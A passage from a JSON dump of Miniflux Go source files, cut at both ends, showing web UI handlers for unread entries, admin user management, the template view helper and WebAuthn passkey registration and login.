{\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusUnread)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/unread/feed/%d/entry/%d\", feedID, nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/unread/feed/%d/entry/%d\", feedID, prevEntry.ID)\n\t}\n\n\t// Restore entry read status if needed after fetching the pagination.\n\tif entry.Status == model.EntryStatusRead {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/unread_mark_all_read.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) markAllAsRead(w http.ResponseWriter, r *http.Request) {\n\tif err := h.store.MarkGloballyVisibleFeedsAsRead(request.UserID(r)); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, \"OK\")\n}\n"
  },
  {
    "path": "internal/ui/user_create.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCreateUserPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !user.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", &form.UserForm{})\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"create_user\"))\n}\n"
  },
  {
    "path": "internal/ui/user_edit.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\n// EditUser shows the form to edit a user.\nfunc (h *handler) showEditUserPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !user.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tselectedUser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif selectedUser == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserForm := &form.UserForm{\n\t\tUsername: selectedUser.Username,\n\t\tIsAdmin:  selectedUser.IsAdmin,\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", userForm)\n\tview.Set(\"selected_user\", selectedUser)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"edit_user\"))\n}\n"
  },
  {
    "path": "internal/ui/user_list.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showUsersPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !user.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tusers, err := h.store.Users()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tusers.UseTimezone(user.Timezone)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"users\", users)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"users\"))\n}\n"
  },
  {
    "path": "internal/ui/user_remove.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) removeUser(w http.ResponseWriter, r *http.Request) {\n\tloggedUser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !loggedUser.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tselectedUserID := request.RouteInt64Param(r, \"userID\")\n\tselectedUser, err := h.store.UserByID(selectedUserID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif selectedUser == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif selectedUser.ID == loggedUser.ID {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"you cannot remove yourself\"))\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveUser(selectedUser.ID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/users\"))\n}\n"
  },
  {
    "path": "internal/ui/user_save.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) saveUser(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !user.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tuserForm := form.NewUserForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"form\", userForm)\n\n\tif validationErr := userForm.ValidateCreation(); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_user\"))\n\t\treturn\n\t}\n\n\tif h.store.UserExists(userForm.Username) {\n\t\tview.Set(\"errorMessage\", locale.NewLocalizedError(\"error.user_already_exists\").Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_user\"))\n\t\treturn\n\t}\n\n\tuserCreationRequest := &model.UserCreationRequest{\n\t\tUsername: userForm.Username,\n\t\tPassword: userForm.Password,\n\t\tIsAdmin:  userForm.IsAdmin,\n\t}\n\n\tif validationErr := validator.ValidateUserCreationWithPassword(h.store, userCreationRequest); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_user\"))\n\t\treturn\n\t}\n\n\tif _, err := h.store.CreateUser(userCreationRequest); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/users\"))\n}\n"
  },
  {
    "path": "internal/ui/user_update.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) updateUser(w http.ResponseWriter, r *http.Request) {\n\tloggedUser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif !loggedUser.IsAdmin {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tselectedUser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif selectedUser == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserForm := form.NewUserForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", loggedUser)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(loggedUser.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(loggedUser.ID))\n\tview.Set(\"selected_user\", selectedUser)\n\tview.Set(\"form\", userForm)\n\n\tif validationErr := userForm.ValidateModification(); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(loggedUser.Language))\n\t\tresponse.HTML(w, r, view.Render(\"edit_user\"))\n\t\treturn\n\t}\n\n\tif h.store.AnotherUserExists(selectedUser.ID, userForm.Username) {\n\t\tview.Set(\"errorMessage\", locale.NewLocalizedError(\"error.user_already_exists\").Translate(loggedUser.Language))\n\t\tresponse.HTML(w, r, view.Render(\"edit_user\"))\n\t\treturn\n\t}\n\n\tuserForm.Merge(selectedUser)\n\tif err := h.store.UpdateUser(selectedUser); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/users\"))\n}\n"
  },
  {
    "path": "internal/ui/view/view.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage view // import \"miniflux.app/v2/internal/ui/view\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/template\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/static\"\n)\n\n// view wraps template argument building.\ntype view struct {\n\ttpl    *template.Engine\n\tr      *http.Request\n\tparams map[string]any\n}\n\n// Set adds a new template argument.\nfunc (v *view) Set(param string, value any) *view {\n\tv.params[param] = value\n\treturn v\n}\n\n// Render executes the template with arguments.\nfunc (v *view) Render(template string) []byte {\n\treturn v.tpl.Render(template+\".html\", v.params)\n}\n\n// New returns a new view with default parameters.\nfunc New(tpl *template.Engine, r *http.Request, sess *session.Session) *view {\n\ttheme := request.UserTheme(r)\n\treturn &view{tpl, r, map[string]any{\n\t\t\"menu\":              \"\",\n\t\t\"csrf\":              request.CSRF(r),\n\t\t\"flashMessage\":      sess.FlashMessage(request.FlashMessage(r)),\n\t\t\"flashErrorMessage\": sess.FlashErrorMessage(request.FlashErrorMessage(r)),\n\t\t\"theme\":             theme,\n\t\t\"language\":          request.UserLanguage(r),\n\t\t\"theme_checksum\":    static.StylesheetBundles[theme].Checksum,\n\t\t\"app_js_checksum\":   static.JavascriptBundles[\"app\"].Checksum,\n\t\t\"sw_js_checksum\":    static.JavascriptBundles[\"service-worker\"].Checksum,\n\t\t\"webAuthnEnabled\":   config.Opts.WebAuthn(),\n\t}}\n}\n"
  },
  {
    "path": "internal/ui/webauthn.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"github.com/go-webauthn/webauthn/protocol\"\n\t\"github.com/go-webauthn/webauthn/webauthn\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/cookie\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\ntype WebAuthnUser struct {\n\tUser        *model.User\n\tAuthnID     []byte\n\tCredentials []model.WebAuthnCredential\n}\n\nfunc (u WebAuthnUser) WebAuthnID() []byte {\n\treturn u.AuthnID\n}\n\nfunc (u WebAuthnUser) WebAuthnName() string {\n\treturn u.User.Username\n}\n\nfunc (u WebAuthnUser) WebAuthnDisplayName() string {\n\treturn u.User.Username\n}\n\nfunc (u WebAuthnUser) WebAuthnIcon() string {\n\treturn \"\"\n}\n\nfunc (u WebAuthnUser) WebAuthnCredentials() []webauthn.Credential {\n\tcreds := make([]webauthn.Credential, len(u.Credentials))\n\tfor i, cred := range u.Credentials {\n\t\tcreds[i] = cred.Credential\n\t}\n\treturn creds\n}\n\nfunc newWebAuthn() (*webauthn.WebAuthn, error) {\n\turl, err := url.Parse(config.Opts.BaseURL())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn webauthn.New(&webauthn.Config{\n\t\tRPDisplayName: \"Miniflux\",\n\t\tRPID:          url.Hostname(),\n\t\tRPOrigins:     []string{config.Opts.RootURL()},\n\t})\n}\n\nfunc (h *handler) beginRegistration(w http.ResponseWriter, r *http.Request) {\n\tweb, err := newWebAuthn()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tuid := request.UserID(r)\n\tif uid == 0 {\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\tuser, err := h.store.UserByID(uid)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tvar creds []model.WebAuthnCredential\n\n\tcreds, err = h.store.WebAuthnCredentialsByUserID(user.ID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcredsDescriptors := make([]protocol.CredentialDescriptor, len(creds))\n\tfor i, cred := range creds {\n\t\tcredsDescriptors[i] = cred.Credential.Descriptor()\n\t}\n\n\toptions, sessionData, err := web.BeginRegistration(\n\t\tWebAuthnUser{\n\t\t\tuser,\n\t\t\tcrypto.GenerateRandomBytes(32),\n\t\t\tnil,\n\t\t},\n\t\twebauthn.WithExclusions(credsDescriptors),\n\t\twebauthn.WithResidentKeyRequirement(protocol.ResidentKeyRequirementPreferred),\n\t\twebauthn.WithExtensions(protocol.AuthenticationExtensions{\"credProps\": true}),\n\t)\n\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\ts := session.New(h.store, request.SessionID(r))\n\ts.SetWebAuthnSessionData(&model.WebAuthnSession{SessionData: sessionData})\n\tresponse.JSON(w, r, options)\n}\n\nfunc (h *handler) finishRegistration(w http.ResponseWriter, r *http.Request) {\n\tweb, err := newWebAuthn()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tuid := request.UserID(r)\n\tif uid == 0 {\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\tuser, err := h.store.UserByID(uid)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tsessionData := request.WebAuthnSessionData(r)\n\twebAuthnUser := WebAuthnUser{user, sessionData.UserID, nil}\n\tcred, err := web.FinishRegistration(webAuthnUser, *sessionData.SessionData, r)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\terr = h.store.AddWebAuthnCredential(uid, sessionData.UserID, cred)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\thandleEncoded := model.WebAuthnCredential{Handle: sessionData.UserID}.HandleEncoded()\n\tredirect := h.routePath(\"/webauthn/%s/rename\", handleEncoded)\n\tresponse.JSON(w, r, map[string]string{\"redirect\": redirect})\n}\n\nfunc (h *handler) beginLogin(w http.ResponseWriter, r *http.Request) {\n\tweb, err := newWebAuthn()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tvar user *model.User\n\tusername := request.QueryStringParam(r, \"username\", \"\")\n\tif username != \"\" {\n\t\tuser, err = h.store.UserByUsername(username)\n\t\tif err != nil {\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar assertion *protocol.CredentialAssertion\n\tvar sessionData *webauthn.SessionData\n\tif user != nil {\n\t\tcreds, err := h.store.WebAuthnCredentialsByUserID(user.ID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tassertion, sessionData, err = web.BeginLogin(WebAuthnUser{user, nil, creds})\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tassertion, sessionData, err = web.BeginDiscoverableLogin()\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\ts := session.New(h.store, request.SessionID(r))\n\ts.SetWebAuthnSessionData(&model.WebAuthnSession{SessionData: sessionData})\n\tresponse.JSON(w, r, assertion)\n}\n\nfunc (h *handler) finishLogin(w http.ResponseWriter, r *http.Request) {\n\tweb, err := newWebAuthn()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tparsedResponse, err := protocol.ParseCredentialRequestResponseBody(r.Body)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Debug(\"WebAuthn: parsed response flags\",\n\t\tslog.Bool(\"user_present\", parsedResponse.Response.AuthenticatorData.Flags.HasUserPresent()),\n\t\tslog.Bool(\"user_verified\", parsedResponse.Response.AuthenticatorData.Flags.HasUserVerified()),\n\t\tslog.Bool(\"has_attested_credential_data\", parsedResponse.Response.AuthenticatorData.Flags.HasAttestedCredentialData()),\n\t\tslog.Bool(\"has_backup_eligible\", parsedResponse.Response.AuthenticatorData.Flags.HasBackupEligible()),\n\t\tslog.Bool(\"has_backup_state\", parsedResponse.Response.AuthenticatorData.Flags.HasBackupState()),\n\t)\n\n\tsessionData := request.WebAuthnSessionData(r)\n\n\tvar user *model.User\n\tusername := request.QueryStringParam(r, \"username\", \"\")\n\tif username != \"\" {\n\t\tuser, err = h.store.UserByUsername(username)\n\t\tif err != nil {\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar matchingCredential *model.WebAuthnCredential\n\tif user != nil {\n\t\tstoredCredentials, err := h.store.WebAuthnCredentialsByUserID(user.ID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tsessionData.UserID = parsedResponse.Response.UserHandle\n\t\twebAuthUser := WebAuthnUser{user, parsedResponse.Response.UserHandle, storedCredentials}\n\n\t\t// Since go-webauthn v0.11.0, the backup eligibility flag is strictly validated, but Miniflux does not store this flag.\n\t\t// This workaround set the flag based on the parsed response, and avoid \"BackupEligible flag inconsistency detected during login validation\" error.\n\t\t// See https://github.com/go-webauthn/webauthn/pull/240\n\t\tfor index := range webAuthUser.Credentials {\n\t\t\twebAuthUser.Credentials[index].Credential.Flags.BackupEligible = parsedResponse.Response.AuthenticatorData.Flags.HasBackupEligible()\n\t\t}\n\n\t\tfor _, webAuthCredential := range webAuthUser.WebAuthnCredentials() {\n\t\t\tslog.Debug(\"WebAuthn: stored credential flags\",\n\t\t\t\tslog.Bool(\"user_present\", webAuthCredential.Flags.UserPresent),\n\t\t\t\tslog.Bool(\"user_verified\", webAuthCredential.Flags.UserVerified),\n\t\t\t\tslog.Bool(\"backup_eligible\", webAuthCredential.Flags.BackupEligible),\n\t\t\t\tslog.Bool(\"backup_state\", webAuthCredential.Flags.BackupState),\n\t\t\t)\n\t\t}\n\n\t\tcredCredential, err := web.ValidateLogin(webAuthUser, *sessionData.SessionData, parsedResponse)\n\t\tif err != nil {\n\t\t\tslog.Warn(\"WebAuthn: ValidateLogin failed\", slog.Any(\"error\", err))\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tfor _, storedCredential := range storedCredentials {\n\t\t\tif bytes.Equal(credCredential.ID, storedCredential.Credential.ID) {\n\t\t\t\tmatchingCredential = &storedCredential\n\t\t\t}\n\t\t}\n\n\t\tif matchingCredential == nil {\n\t\t\tresponse.JSONServerError(w, r, fmt.Errorf(\"no matching credential for %v\", credCredential))\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tuserByHandle := func(rawID, userHandle []byte) (webauthn.User, error) {\n\t\t\tvar uid int64\n\t\t\tuid, matchingCredential, err = h.store.WebAuthnCredentialByHandle(userHandle)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif uid == 0 {\n\t\t\t\treturn nil, fmt.Errorf(\"no user found for handle %x\", userHandle)\n\t\t\t}\n\t\t\tuser, err = h.store.UserByID(uid)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif user == nil {\n\t\t\t\treturn nil, fmt.Errorf(\"no user found for handle %x\", userHandle)\n\t\t\t}\n\n\t\t\t// Since go-webauthn v0.11.0, the backup eligibility flag is strictly validated, but Miniflux does not store this flag.\n\t\t\t// This workaround set the flag based on the parsed response, and avoid \"BackupEligible flag inconsistency detected during login validation\" error.\n\t\t\t// See https://github.com/go-webauthn/webauthn/pull/240\n\t\t\tmatchingCredential.Credential.Flags.BackupEligible = parsedResponse.Response.AuthenticatorData.Flags.HasBackupEligible()\n\n\t\t\treturn WebAuthnUser{user, userHandle, []model.WebAuthnCredential{*matchingCredential}}, nil\n\t\t}\n\n\t\t_, err = web.ValidateDiscoverableLogin(userByHandle, *sessionData.SessionData, parsedResponse)\n\t\tif err != nil {\n\t\t\tslog.Warn(\"WebAuthn: ValidateDiscoverableLogin failed\", slog.Any(\"error\", err))\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tsessionToken, _, err := h.store.CreateUserSessionFromUsername(user.Username, r.UserAgent(), request.ClientIP(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\th.store.WebAuthnSaveLogin(matchingCredential.Handle)\n\n\tslog.Info(\"User authenticated successfully with webauthn\",\n\t\tslog.Bool(\"authentication_successful\", true),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", user.ID),\n\t\tslog.String(\"username\", user.Username),\n\t)\n\th.store.SetLastLogin(user.ID)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tsess.SetLanguage(user.Language)\n\tsess.SetTheme(user.Theme)\n\n\thttp.SetCookie(w, cookie.New(\n\t\tcookie.CookieUserSessionID,\n\t\tsessionToken,\n\t\tconfig.Opts.HTTPS(),\n\t\tconfig.Opts.BasePath(),\n\t))\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) renameCredential(w http.ResponseWriter, r *http.Request) {\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcredentialHandleEncoded := request.RouteStringParam(r, \"credentialHandle\")\n\tcredentialHandle, err := hex.DecodeString(credentialHandleEncoded)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\tcred_uid, cred, err := h.store.WebAuthnCredentialByHandle(credentialHandle)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif cred_uid != user.ID {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\twebauthnForm := form.WebauthnForm{Name: cred.Name}\n\n\tview.Set(\"form\", webauthnForm)\n\tview.Set(\"cred\", cred)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"webauthn_rename\"))\n}\n\nfunc (h *handler) saveCredential(w http.ResponseWriter, r *http.Request) {\n\t_, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcredentialHandleEncoded := request.RouteStringParam(r, \"credentialHandle\")\n\tcredentialHandle, err := hex.DecodeString(credentialHandleEncoded)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnewName := r.FormValue(\"name\")\n\terr = h.store.WebAuthnUpdateName(credentialHandle, newName)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n}\n\nfunc (h *handler) deleteCredential(w http.ResponseWriter, r *http.Request) {\n\tuid := request.UserID(r)\n\tif uid == 0 {\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\tcredentialHandleEncoded := request.RouteStringParam(r, \"credentialHandle\")\n\tcredentialHandle, err := hex.DecodeString(credentialHandleEncoded)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\terr = h.store.DeleteCredentialByHandle(uid, credentialHandle)\n\tif err != nil 